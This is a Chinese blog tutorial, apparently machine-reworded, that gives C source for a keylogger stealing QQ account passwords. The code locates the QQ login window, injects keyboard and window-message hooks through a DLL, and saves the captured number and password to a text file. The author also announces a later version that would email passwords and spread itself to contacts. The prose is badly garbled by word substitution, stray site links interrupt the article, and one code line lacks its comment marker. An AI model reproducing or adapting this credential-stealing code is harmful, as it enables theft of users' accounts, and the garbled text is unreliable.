盗QQ的密码软件模拟实现妙技
时间:
2010-12-25 09:08 作者:
沉沙 收藏到:
导读: 近天色太热,外加无聊,出于操练的目的,想到了写个盗QQ的软件,说“盗”,难免不免是太难听刺耳了吧,于是我给它起名为“UiQQ道”.
一样寻常的盗密码的软件的软件都是经由过程看守键盘来得到密码,这样操纵对照便利,可是这样也存在必然题目,密码有的时辰不是很切确,由于..
近天色太热,外加无聊,出于操练的目的,想到了写个盗QQ的软件,说“盗”,难免不免是太难听刺耳了吧,于是我给它起名为“UiQQ道”.
一样寻常的盗密码的软件的软件都是经由过程看守键盘来得到密码,这样操纵对照便利,可是这样也存在必然题目,密码有的时辰不是很切确,由于有的人输入密码并不是畴前到后输入,固然这样的人也是少数,盗密码嘛,固然去获得那些对照粗心的人的密码! 经由过程安顿钩子来看守QQ上岸界面便是得到密码的要领,在安顿前得先找到上岸窗口的句柄,当钩子安顿后,记录键盘,当用户“回车”或是点了“上岸”就可以起头措置赏罚赏罚密码了! 我筹备分为四部分来声名这个整个历程:
(1)探求QQ上岸界面。
(2)安顿钩子
(3)钩子函数的评释.
(4)措置赏罚赏罚密码。
以下部分全是使用C说话,文章中我假设读者您是会C/SDK编程的。要是碰着相干的观念性题目,您可以查察MSDN或是上BBS 询问!
第一部分:(1)探求QQ上岸界面。
软件运行后,操作安顿按时器,每秒在体系找QQ上岸界面,这样根基上只要用户打开了QQ上岸界面就会被捉住其句柄,看下面代码:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安顿好TIMER后,下面是措置赏罚赏罚主措施的WM_TIMER动静,往往呈现没有定义的变量,您可以理解理睬为是全局变量.
//措置赏罚赏罚WM_TIMER代码
if (!IsWindow(g_hQQLogin)) //武断g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安顿句柄
do
{
//操作FindWindowEx查找QQ上岸窗口,详细参数意思请查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类都是#32770
//找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //这一句很关键,要是你的QQ上岸窗口上没有" 登录QQ"字样,那么获取密码将失踪败!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ上岸窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安顿HOOK,此函数在DLL文件中 第二部分中先容
}
}
上面便是查找QQ上岸窗口句柄的历程,从代码可以看出我用的要领:找一个其子窗体中有一个问题为“ 登录QQ”的BUTTON的对话框(这句话说得有点饶口,这句话要是也看不懂,下面您不用看了:() 我最起头是想操作 FindWindow(NULL,"QQ用户上岸窗口")来查找,可是我用Spy++看了QQ上岸窗口的问题并不是“QQ用户上岸窗口”,而是“乱码”,其中搜罗了回车键等希罕字符,于是我用了FindWindowEx().
第二部分:(2)安顿钩子
找到了QQ上岸窗口后,就乐成了一半。:)
下面是DLL文件中的安顿HOOK的函数SetQQHook(), 为什么要用DLL(动态毗邻库)?要去“钩”其他进程的动静,得让HOOK函数在DLL中,这样好映射到其所在空间中!
BOOL WINAPI SetQQHook(HWND hQQLogin)
{
//得到上岸框的句柄
BOOL bRet = FALSE;
if (hQQLogin != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN
g_hNum = GetDlgItem(hQQLogin, 138);//差别版本QQ,此处不一样! 获得QQ号的子窗口句柄
g_hPsw = GetDlgItem(hQQLogin, 180); //差别版本QQ,此处不一样!获得QQ密码的子窗口句柄
if (g_hNum == NULL)
{
MessageBox(NULL,"哭了,号码句柄都没有获得!","忧郁",0);
return FALSE;
}
if(g_hPsw==NULL)
{
MessageBox(NULL,"哭了,密码句柄都没有获得!","忧郁",0);
return FALSE;
}
分袂键盘HOOK,和界面部分动静措置赏罚赏罚的HOOK
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸载钩子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hNum = NULL;
}
return bRet;
}
上面是安顿HOOK部分的代码,就这么年夜略,上面提到了CallWndProc,KeyboardProc是两个回调函数,是我第三部分要评释的钩子函
·三种常用的收集和谈简述 ·打破ip关闭上岸论坛体系
·抵制艾滋:女年夜门生树模用安适套 ·Windows各系列启动速率差异的奥密
·带你逃离假造内存的设置误区 ·在IE属性中公道设置Cookies
·宠我爱我赐顾帮衬我 QQ宠物完全攻略 ·六年夜收集电子相册处事横向评测
·PHOTOSHOP建造一块绝美的腕表 ·收集游戏开发人才培训渐成热门
·三种常用的收集和谈简述 ·打破ip关闭上岸论坛体系
·抵制艾滋:女年夜门生树模用安适套 ·Windows各系列启动速率差异的奥密
·带你逃离假造内存的设置误区 ·在IE属性中公道设置Cookies
·宠我爱我赐顾帮衬我 QQ宠物完全攻略 ·六年夜收集电子相册处事横向评测
·PHOTOSHOP建造一块绝美的腕表 ·收集游戏开发人才培训渐成热门
第三部分:(3)钩子函数的评释
CallWndProc,KeyboardProc是两个回调函数的原型和详细代码如下:
// 钩子历程,看守“上岸”的呼吁动静
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“上岸”按钮
if (p->message == WM_COMMAND && p->wParam ==16032)
//下面个函数是我在第四部分先容-“措置赏罚赏罚密码”部分会细心声名
//当用户点了上岸按钮,声名QQ号码和QQ密码已经填写完毕,固然可以去得到密码了
GetPasswrod();
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// 键盘钩子历程,看守“上岸”的热键动静
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键动静,记录键盘的按键盘历程,pmsg是PMSG范例的,i是全局Static范例的
pmsg.wParam =wParam;
i++;
if (wParam == VK_RETURN) //用户使用键盘“回车”来上岸,用户用了回车后,就可以可以去得到密码了
GetPasswrod();
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
在年夜白了这两个钩子函数后就可以看后期是怎样详细措置赏罚赏罚密码的了,这便是下面的第四部分内容
第四部分:(4)措置赏罚赏罚密码
要是您读到了此处,我想得停息一会,先让我来帮你回想一下前面提到的几个关键的变量
第一个:QQ号的子窗口句柄 g_hNum
第二个:QQ密码的子窗口句柄 g_hPsw //此部分且则不使用,下面
第三个:存键盘按键的 pmsg
上面三变量分袂呈此刻第二部分和第三部分,都是全局共享(shared)变量
QQ密码的子窗口句柄 g_hPsw 此部分且则不使用,你可以看到下面代码中有句用到g_hPsw的语句是我解释失了的,缘故起因是无法经由过程那样去获得QQ密码,得措置赏罚赏罚按键动静
void GetPasswrod()
{
//声明变量和初始化
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));
DWORD dw;
//获得QQ号的内容,觉得有的人的QQ号是在上岸框有记录,其QQ号并是用键盘输入的
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样得到密码
//提掏出键盘记录,此内容大概全是密码,大概是QQ号+QQ密码
for(j=0;j<20;j++)
{
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='\0';
//把QQ号码和QQ密码写入C盘password.txt中
f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
strcat(total,"号码");
strcat(total,num);
strcat(total,"密码:");
strcat(total,psw);
WriteFile(f,&total,sizeof(total),&dw,NULL);
CloseHandle(f);
}
末了在C盘password.txt大概会呈现这样两种情形:
1)当QQ号是没有用输入,而已用的粘贴可能是电脑过去有记录则是:号码:21728812密码:TEST
2) 当QQ号是用的键盘输入,电脑没有QQ号记录时则是: 号码:21728812密码:21728812TEST
可以看出,第2种情形把QQ当成了密码了,以是密码还得减去QQ号,
出格声名:我这样直接措置赏罚赏罚wParam参数,获得的字符密码全是年夜写的,详细年夜小写题目我没有就没有细心去措置赏罚赏罚的,成果实现就行了,终究我使用他不用来盗密码的!
上面四部分根基上得到密码的成果先容完毕。往往没有先容的变量皆是全局变量,没有提到的函数如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,注重使用声名请查MSDN(http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,大概有的处所我说的钩子函数,而此外一个处所说的是HOOK函数
出格声名:上面有详细的运行文件,因为小弟并没有思量到更多细节,我只是用了“理想”状态下去得到密码,并且或的密码后并没有看重后期密码措置赏罚赏罚,大概呈现密码年夜小写不切合或是无法获得密码,请年夜家切切别笑话,我写这篇菜鸟级其它Blog的缘故起因意在讲述一些对这方面感想疑惑的伴侣根基的事理,和但愿和年夜侠们交换 !
后期要是有须要的话,我筹备举办改版,根据“真正”的QQ“木马”来写,如:对QQ版本举办辨认,密码自动发送到E-MAIL,插手QQ尾巴代码,使其自动传给摰友的等成果!请关注我的主页 http://www.uisoft.net
转载者,但愿您能留存作者姓名,已经相干毗邻信息,我在此感谢感动
仔细:我使用的QQ2005 贺岁版 版本号:13.5.0.8213,其他版本的QQ我无法保证可以精确的到密码!
参考资料:MSDN,Titilima的QQ尾巴病毒模拟代码